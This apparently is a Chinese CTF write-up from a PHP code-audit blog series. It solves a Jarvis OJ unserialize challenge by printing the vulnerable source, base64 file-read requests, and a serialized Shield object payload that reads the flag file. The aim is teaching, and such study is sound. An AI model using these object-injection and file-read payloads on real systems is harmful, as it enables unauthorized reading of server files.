26 unserialize()序列化

<!-- 题目:http://web.jarvisoj.com:32768 -->

<!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?> <!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

这道题目是PHP反序列的题目,比较基础。

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

列举常见方法

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

这道题目只用到了__construct()方法,该方法是在创建对象时触发

简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。

查看网页源代码:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

  猜测是base64编码,解码得到:

获取index.php的源代码,payload为:

http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

  查看源代码

<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

  可以看到包含了shield.php,继续查看shield.php的源代码 payload为:

http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

 再包含一下showimg.php :

http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。

回到index.php

里面关键点在于:

  $x = unserialize($g);
}
echo $x->readfile();

  在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果

而$g是在这里进行赋值:

isset($_GET['class']) && $g = $_GET['class'];

  是我们可以控制的。

再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象

  class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}

  根据类进行PHP在线环境进行反向构造即可

即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php

payload为:

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

  查看源代码为:

获得flag,是一道很基础的PHP反序列化题目

PHP代码审计分段讲解(10)的更多相关文章

  1. PHP代码审计分段讲解(14)

    30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...

  2. PHP代码审计分段讲解(13)

    代码审计分段讲解之29题,代码如下: <?php require("config.php"); $table = $_GET['table']?$_GET['table']: ...

  3. PHP代码审计分段讲解(11)

    后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...

  4. PHP代码审计分段讲解(8)

    20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...

  5. PHP代码审计分段讲解(4)

    08 SESSION验证绕过 源代码为: <?php ​ $flag = "flag"; ​ session_start(); if (isset ($_GET['passw ...

  6. PHP代码审计分段讲解(1)

    PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...

  7. PHP代码审计分段讲解(12)

    28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...

  8. PHP代码审计分段讲解(9)

    22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...

  9. PHP代码审计分段讲解(7)

    17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...

随机推荐

  1. CSS浮动好文章

    http://www.cnblogs.com/iyangyuan/archive/2013/03/27/2983813.html 看完上面这篇文章,我哭了.写的真好,我这块更菜.

  2. CSS不同颜色按钮实例

    CSS减少代码重复技巧非常多,以主要包含采用相对尺寸.半透明颜色的实例来说明CSS减少代码重复技巧的一些运用. 以下为通过CSS代码实现的一个"Yes!"按钮效果以及相应的代码: ...

  3. nginx&http 第三章 ngx 事件event accept epoll /init

    tcp 三次握手成功后,listen fd  可读,在process_event_timer 中调用rev->handler(rev)处理: 其回调函数为: ngx_event_accept / ...

  4. 问题记录-CoordinatorLayout+WebView使用遇到的问题

    需求背景: 使用CoordinatorLayout+viewpager+tablayout+webview实现首页折叠效果. 使用问题: 在使用过程中首页的页面为原生/h5混合页,在原生页面正常,嵌套 ...

  5. centos6 virbox安装

    yum install kernel-devel yum update kernel* wget http://download.virtualbox.org/virtualbox/debian/or ...

  6. C语言设计模式(命令模式)

    #define ARRAY_SIZE(a) (sizeof(a)/sizeof(a[0])) typedef int (*parse_func)(const char *data,size_t len ...

  7. 关于点击弹框外部区域弹框关闭的交互处理(前端JS)

    常见需求场景 前端在处理交互的时候,经常遇到这样的场景,点击一个按钮,出现一个弹框,点击外部区域,弹框关闭. 解决方法 思路说明: 1.给弹框的div父级都加个类名,如: 2.在document绑定一 ...

  8. Redis订阅

    1.Redis订阅简介 进程间的一种消息通信模式:发送者(pub)发送消息,订阅者(sub)接收消息. 2.Redis订阅命令 3.Redis订阅的使用 先订阅后发布后才能收到消息, 1 可以一次性订 ...

  9. 太妙了!Spring boot 整合 Mybatis Druid,还能配置监控?

    Spring boot 整合 Mybatis Druid并配置监控 添加依赖 <!--druid--> <dependency> <groupId>com.alib ...

  10. PVE 下的虚拟机磁盘扩容

    扩容背景:一台测试机磁盘不足,需要扩容: /dev/mapper/centos-root 40G 40G 20K 100% / 先到PVE网页上对需要扩容的机器扩容,这里新建20G示例: 另外之前也分 ...